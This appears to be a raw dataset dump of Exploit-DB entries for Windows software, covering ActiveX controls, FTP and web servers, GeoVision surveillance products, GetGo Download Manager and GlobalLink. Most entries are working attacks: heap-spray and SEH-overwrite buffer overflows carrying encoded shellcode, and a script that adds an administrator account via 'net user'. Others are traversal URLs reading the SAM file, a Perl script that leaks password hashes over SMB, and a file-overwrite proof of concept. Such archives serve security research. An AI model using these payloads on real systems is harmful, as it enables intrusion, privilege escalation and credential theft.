deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19805
Description: GameHouse dldisplay - ActiveX control 0 / Real Server 5.0/7.0 Internal IP Address Disclosure
Type: remote
Platform: windows
Date: 2000-03-08
Author: tschweikle

Exploit:
source: https://www.securityfocus.com/bid/1049/info

By default, Real Server includes the IP address of the server in data sent to the client. If the Real Server is installed on a machine in a NAT environment, (where requests from the outside network are handled by reverse proxy), this will reveal what are supposed to be private, hidden IP addresses.

$ GET http://realg2.example.com:8080/ramgen/foo.rm
reveals-
rtsp://192.168.11.12:554/foo.rm
--stop--
pnm://192.168.11.12:7070/foo.rm
server info:
WinNT Version 6.0.3.303
Exploit-DB #4869
Description: Gateway Weblaunch - ActiveX Control Insecure Method
Type: remote
Platform: windows
Date: 2008-01-08
Author: Elazar

Exploit:
<!-- 
Gateway Weblaunch ActiveX Control Insecure Method Exploit
Implemented Categories:
Category: Safe for Initialising
Category: Safe for Scripting
Written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, weblaunch.ocx version 1.0.0.1
This method is also vulnerable to a buffer overflow in the 2nd and 4th parameters
-->
<html>
 <head>
  <title>Gateway Weblaunch ActiveX Control Insecure Method Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
                //escape from systemdrive\documents and settings\username\local settings\temp
		obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\calc.exe","","");
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:93CEA8A4-6059-4E0B-ADDD-73848153DD5E" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2008-01-08]
Exploit-DB #6638
Description: GdPicture Pro - ActiveX 'gdpicture4s.ocx' File Overwrite / Exec
Type: remote
Platform: windows
Date: 2008-09-30
Author: EgiX

Exploit:
<!--

	---------------------------------------------------------------------------------
	GdPicture Pro ActiveX (gdpicture4s.ocx) Remote File Overwrite / Execution Exploit
	---------------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.gdpicture.com/
	ProgID...: GdPicture4S.Imaging
	
	Description:
	
	SaveAsPDF() method allow to create / overwrite file through
	sFilePath argument. By using other arguments, such as sTitle,
	an attacker could be inject html code and execute it using
	the hcp:// protocol (tecnique discovered by rgod).
	Also GdPicturePro5.Imaging is prone to this vulnerability,
	but it doesn't implements the IObjectSafety interface.
	
	Tested on Windows XP SP2 with IE 6/7
	
	Object safety report:
	
	Report for Clsid: {E8[PII_REDACTED]-42EF-A43D-990E7935C8BE}
	RegKey Safe for Script: False
	RegKey Safe for Init: False
	Implements IObjectSafety: True
	IDisp Safe:  Safe for untrusted: caller,data  
	IPStorage Safe:  Safe for untrusted: caller,data

	[*] A special thanks goes to shinnai, for his patience :)

-->

<object classid='clsid:E8[PII_REDACTED]-42EF-A43D-990E7935C8BE' id='test'></object>

<script language='javascript'>

	var cmd = "cmd /c net user test test /add & net localgroup Administrators test /add";

	var outFile = "c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm";

	var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" +
		  "\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" +
		  "\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" +
		  "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
		  "\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00";

	var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='wsh'><\/object>" +
		 "<script language='vbscript'>wsh.Run \"" + cmd + "\", SW_HIDE<\/script>";

	test.SetLicenseNumber("[PII_REDACTED][PII_REDACTED]62456"); // only to avoid the nag screen
	test.CreateImageFromString(BMP);

	if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href = "hcp://system/errors/badurl.htm";

</script>

# milw0rm.com [2008-09-30]
Exploit-DB #33611
Description: GeFest Web Home Server 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-02-08
Author: Markot

Exploit:
source: https://www.securityfocus.com/bid/38141/info

Gefest Web Home Server is prone to a remote directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

Gefest Web Home Server 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/\../\../\../WINDOWS\SYSTEM32\calc.exe
http://www.example.com/\../\../\../WINDOWS\SYSTEM32\config\sam
http://www.example.com/\../\../\../WINDOWS\SYSTEM32
http://www.example.com/\../\../\../boot.ini
Exploit-DB #20723
Description: Gene6 BPFTP FTP Server 2.0 - User Credentials Disclosure
Type: remote
Platform: windows
Date: 2001-04-03
Author: Rob Beck

Exploit:
source: https://www.securityfocus.com/bid/2534/info

G6 FTP Server now known as BPFTP Server is an internet FTP server by Gene6

If a logged in FTP user connects to an external share and submits a malformed 'size' or 'mdtm' command, the user could force the FTP server to make an external SMB connection.

The FTP server must provide login credentials of the user the server is running under in order to make a connection to the remote host. A password hash is sent across the external connection to the host. A third party network utility could be listening for internal and external traffic and capture the password hash. The captured hash could be resolved into the username and password.

#!/usr/bin/perl
# G6-2nbt.pl - example G6 ftp server netbios connection script
#
# Tested on win32 and Linux, Linux requires share name to be in
# the format: \\\\host\\share\\path or //host/share/path

use Getopt::Std;
use IO::Socket;

my($host,$login,$pass,$share,$CRLF,$result);

$CRLF = "\015\012";
getopts('h:l:p:s:',\%args);

if (!defined $args{h}){ print "No host specified.\n";exit;}else{$host =
$args{h};}
if (!defined $args{s}){ print "No share specified.\n";exit;}else{$share =
$args{s};}
if (!defined $args{l} || !defined $args{p}){($login,$pass) =
('anonymous','user@myhost.com');}
else { ($login,$pass) = ($args{l},$args{p});}

$our_sock =
IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host,PeerPort=>21)||
die("Socket problems.");

print "Connected!\n";
print "Login...";

print $our_sock "USER $login" . $CRLF;
$result = <$our_sock>;
if ($result !~ /331\s/) { print "User name not accepted or an error
occurred...exiting.\n";close($our_sock);exit; }

print "good.\nPass....";

print $our_sock "PASS $pass" . $CRLF;
$result = <$our_sock>;
if ($result !~ /230\s/) { if ($result =~ /530\s/) { print "Login/password
incorrect exiting.\n";close($our_sock);exit; } else { print "Login
failure..exiting.\n";close($our_sock);exit; }}

print "good.\nTesting path type...";

print $our_sock "PWD" . $CRLF;
$result = <$our_sock>;
$result = <$our_sock>;
if (lc($result) !~ /\/[a-z][:]\//) { print "Looks like 'show relative
path' is enabled...exiting.\n";close($our_sock);exit;}

print "not relative path.\nSending UNC to connect to...";

print $our_sock "SIZE $share" . $CRLF;
print "completed.\nCheck your logs.\n";

close($our_sock);
exit;
Exploit-DB #19819
Description: GeoCel WindMail 3.0 - Remote File Read
Type: remote
Platform: windows
Date: 2000-03-27
Author: Quan Peng

Exploit:
source: https://www.securityfocus.com/bid/1073/info

WindMail is a command-line mailer that can be integrated with perl cgi applications to create form-mail capability for a website.

WindMail 3.0 and possibly previous versions can be used to retrieve any ascii file that the webserver has read access to, provided the path and filename is known to the attacker. If the attacker has write access anywhere on the system and can determine the path to the writable directory, any file whether ascii or binary can be retrieved.

WindMail operates in two modes: "command line" and "header parsing".

In command line mode, all delivery options are specified at the command line as switch values, and the -n switch specifies a file name to send as the message body. In this mode, an attacker can specify any file that the webserver has read access to, and an email address to send that file to.

In header parsing mode, a file is specified with the -n switch that contains a set of headers at the beginning of the file, separated from the message body by a single blank line. Therefore, if an attacker can create a file on the system that includes an 'Attach:' header, they can then specify that file with the -n switch and wait for the file listed in the 'Attach' header to arrive via email. 

To retrieve any known ascii file from the target webserver, enter a URL like:
http: //target/cgi-bin/windmail.exe?%20-n%20desired.file%20attacker_email_address
Exploit-DB #52424
Description: GeoVision ASManager Windows Application 6.1.2.0 - Remote Code Execution (RCE)
Type: remote
Platform: windows
Date: 2025-08-26
Author: Giorgi Dograshvili

Exploit:
# Exploit Title: GeoVision ASManager Windows Application 6.1.2.0 - Remote Code Execution (RCE)
# Date: 19-MAR-2025
# Exploit Author: Giorgi Dograshvili [DRAGOWN]
# Vendor Homepage: https://www.geovision.com.tw/
# Software Link: https://www.geovision.com.tw/download/product/
# Version: 6.1.2.0 or less
# Tested on: Windows 10 | Kali Linux
# CVE : CVE-2025-26264
# PoC: https://github.com/DRAGOWN/CVE-2025-26264

GeoVision GV-ASWeb with the version 6.1.2.0 or less, contains a Remote Code Execution (RCE) vulnerability within its "Notification Settings" feature. An authenticated attacker with "System Settings" privileges in ASWeb can exploit this flaw to execute arbitrary commands on the server, leading to a full system compromise.

Requirements
To perform successful attack an attacker requires:
- Network access to the GV-ASManager web application with version 6.1.2.0 or less;
- Access to an account with privilege of managing Notification Settings feature.

Impact
The vulnerability can be leveraged to perform the following unauthorized actions:
- An account with privilege of managing Notification Settings feature is able to:
-- Perform Remote Code Execution attack.
- After the successfull attack, an attacker will be able to:
-- Access, modify, or delete sensitive system information;
-- Plant a system backdoor;
-- Perform ransomware attack;
-- Perform lateral movement in the internal network.

PoC
The steps for a successful exploitation are described in the following GitHub article with screenshots:
- https://github.com/DRAGOWN/CVE-2025-26264
Exploit-DB #25643
Description: GeoVision Digital Surveillance System 6.0 4/6.1 - Unauthorized '.JPEG' Image Access
Type: remote
Platform: windows
Date: 2005-05-10
Author: Tirath Rai

Exploit:
source: https://www.securityfocus.com/bid/13571/info

GeoVision Digital Surveillance System is prone to a vulnerability that allows remote unauthorized attackers to view JPEG images stored on a server.

This issue results from an access validation error.

GeoVision Digital Surveillance System versions 6.04 or 6.1 are reportedly vulnerable. 

http://www.example.com/cam1.jpg
http://www.example.com/cam2.jpg
http://www.example.com/cam[1-16].jpg
Exploit-DB #8041
Description: GeoVision Digital Video Surveillance System 8.2 - Arbitrary File Disclosure
Type: remote
Platform: windows
Date: 2009-02-11
Author: Dejan Levaja

Exploit:
Hi.
There is a Directory traversal vulnerability in Geovision Digital Video Surveillance
System (geohttpserver)version 8.2.

POC:
http://remotehost/../../../../../../windows/system32/whatever.something

PATCH:
Vendor has published the new version (8.3)


Regards,
Dejan Levaja 
NSS d.o.o.
dejan[dot]levaja[at]netsec[dot]rs

# milw0rm.com [2009-02-11]
Exploit-DB #8059
Description: GeoVision LiveX 8200 - ActiveX 'LIVEX_~1.OCX' File Corruption
Type: remote
Platform: windows
Date: 2009-02-16
Author: Nine:Situations:Group

Exploit:
<!--
GeoVision LiveX_v8200 ActiveX Control (LIVEX_~1.OCX) remote file corruption poc
by Nine:Situations:Group::SnoopyAssault
site: http://retrogod.altervista.org/

working against IE8b/xpsp3, safe for scripting and for initialize.
LiveX_v7000 with clsid {DA8484DE-52DB-4860-A986-61A8682E298A}
LiveX_v8120 with clsid {F4421170-DB22-4551-BBFB-FFCFFB419F6F}
have the same SnapShotToFile() and SnapShotX() methods

this poc connects to a live demo server and replaces system.ini with jpeg content...
could we set arbitrary content (???) ... maybe trough a fake server, checking ...
-->
<html>
<head>
<script language="JavaScript">
function sleep(n)
{
    var now = new Date();
    var exitTime = now.getTime() + (n*1000);
    while (true) {
        now = new Date();
            if (now.getTime() > exitTime) return;
    }
}
</script>
</head>
<body>
	<object classid="clsid:8D58D690-6B71-4ee8-85AD-006DB0287BF1" id="WebCamX1" width="360" height="300">
            <param name="IpAddress" value="http://24.248.47.203" ref> <!-- demo server -->
            <param name="DisablePWD" value="-1">
            <param name="UserName" value="wec">
            <param name="Password" value="">
          	<param name="CommandPort" value="4550">
			<param name="DataPort" value="5550">
			<param name="AudioDataPort" value="6550">
			<param name="BandWidth" value="LAN">
			<param name="FixSize" value="0">
			<param name="FixWidth" value="320">
			<param name="FixHeight" value="240">
			<param name="SvrType" value="0">
			<param name="AutoLogin" value="0">
			<param name="DefaultCam" value="1">
			<param name="AutoReConnect" value="-1">
			<param name="MaxRetries" value="-1">
			<param name="RetryInterval" value="70">
          </object>
<script language="JavaScript">
  sleep(2);
  //WebCamX1.SetCntDeviceType(0);
  //WebCamX1.EnableAutoScreenSize(1);
  //WebCamX1.SetInfo(125,1,0,"","");
  //WebCamX1.SetInfo(129,1,0,"","");	
  //WebCamX1.SetUpdateInfo(100, "WebCam", 0, "", 8200, 0,0);
  //WebCamX1.DefaultCam = 1;
  WebCamX1.PlayX();
  sleep(2);
  WebCamX1.SnapShotToFile("../../../../../../../../../../../windows/system.ini");
  WebCamX1.SnapShotX();
</script>    		
</body>
</html>

# milw0rm.com [2009-02-16]
Exploit-DB #32132
Description: GetGo Download Manager 4.9.0.1982 - HTTP Response Header Buffer Overflow Remote Code Execution
Type: remote
Platform: windows
Date: 2014-03-09
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
# Exploit Title: GetGo Download Manager HTTP Response Header Buffer Overflow Remote Code Execution
# Version:       v4.9.0.1982
# CVE:           CVE-2014-2206
# Date:          2014-03-09
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.rcesecurity.com
# Software Link: http://www.getgosoft.com
# Tested on:     WinXP SP3-GER 
#
# Howto / Notes:
# SEH overwrite was taken from outside of loaded modules, because all modules are SafeSEH-enabled
#

from socket import *
from time import sleep
from struct import pack
 
host = "192.168.0.1"
port = 80
 
s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port
 
cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]
 
junk0 = "\x90" * 4107
nseh = "\x90\x90\xEB\x06"
seh=pack('<L',0x00280b0b)  # call dword ptr ss:[ebp+30] [SafeSEH Bypass]
nops = "\x90" * 50

# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'

shellcode = ("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")

payload = junk0 + nseh + seh + nops + shellcode

buffer = "HTTP/1.1 200 "+payload+"\r\n"
 
print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(3)
cl.close()
s.close()
Exploit-DB #31113
Description: GlobalLink 2.6.1.2 - 'HanGamePlugincn18.dll' ActiveX Control Multiple Buffer Overflow Vulnerabilities
Type: remote
Platform: windows
Date: 2008-02-05
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/27626/info

GlobalLink is prone to multiple buffer-overflow vulnerabilities because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit these issues to execute arbitrary code within the context of application that invoked the ActiveX control (typically Internet Explorer). Failed exploit attempts will result in a denial-of-service condition.

These issues affect GlobalLink 2.8.1.2 beta and 2.6.1.29; other versions may also be affected. 

<%@ LANGUAGE = JavaScript %>
<%

var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");

//run calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<300; x++) memory[x] = block + shellcode;

var buffer = &#039;&#039;;

while (buffer.length < 1319) buffer+="A";

buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer;

act.hgs_startNotify(buffer);

%>
Exploit-DB #4366
Description: GlobalLink 2.7.0.8 - 'glItemCom.dll SetInfo()' Heap Overflow
Type: remote
Platform: windows
Date: 2007-09-05
Author: void

Exploit:
<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");

var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" +
"%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +
"%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" +
"%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" +
"%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" +
"%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" +
"%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" +
"%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" +
"%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" +
"%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
   memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
   spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>

# milw0rm.com [2007-09-05]
Exploit-DB #4372
Description: GlobalLink 2.7.0.8 - 'glitemflat.dll SetClientInfo()' Heap Overflow
Type: remote
Platform: windows
Date: 2007-09-07
Author: void

Exploit:
<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
//just pop up a MessageBox
"%u0eeb%u4b5b%uc933%ubfb1%u3480%ufe0b%ufae2%u05eb%uede8%uffff%u17ff%ufe67%ufefe%u94a1%ua7ce%u759a%u75ff%uf2be%u8e75%u53e2%u9675%u75f6%u9409%ua7fc%uc716%ufefe%u1cfe%u9607%ucccd%ufefe%u8b96%u9b8d%uaa8c%ue801%u166b%ufeda%ufefe%u96ac%u91d0%u998c%u9096%uce8a%u9693%u8edd%uca96%u8896%u9791%u759a%u7322%uf2b8%uadac%uacae%ua801%u01f6%ufaa8%ua8af%u8b75%u75c2%ud08a%ufd86%ua80b%u8875%ufdde%ucd0b%ub737%u53bf%u3bfd%u25cd%u40f1%uc4ee%u8a28%u3ff6%uf935%u24fd%u15be%uc50f%u8be1%ua019%ua075%ufdda%u9823%uf275%u75b5%ue2a0%u23fd%ufa75%ufd75%u553b%ua7a0%u163d%u019c%u0101%u8acc%uf26f%u7187%u9e32%uf494%ue0c6%u3344%u4d2e%u3a4b%u968d%u929b%u9d92%u9a91%ufe9b"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
        memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
    while (spraySlide.length*2<spraySlideSize)
    {
        spraySlide += spraySlide;
    }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return spraySlide;
}

s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\x0c\x0c\x0c\x0c"
target.SetClientInfo(1, s, 1) 
</SCRIPT>

# milw0rm.com [2007-09-07]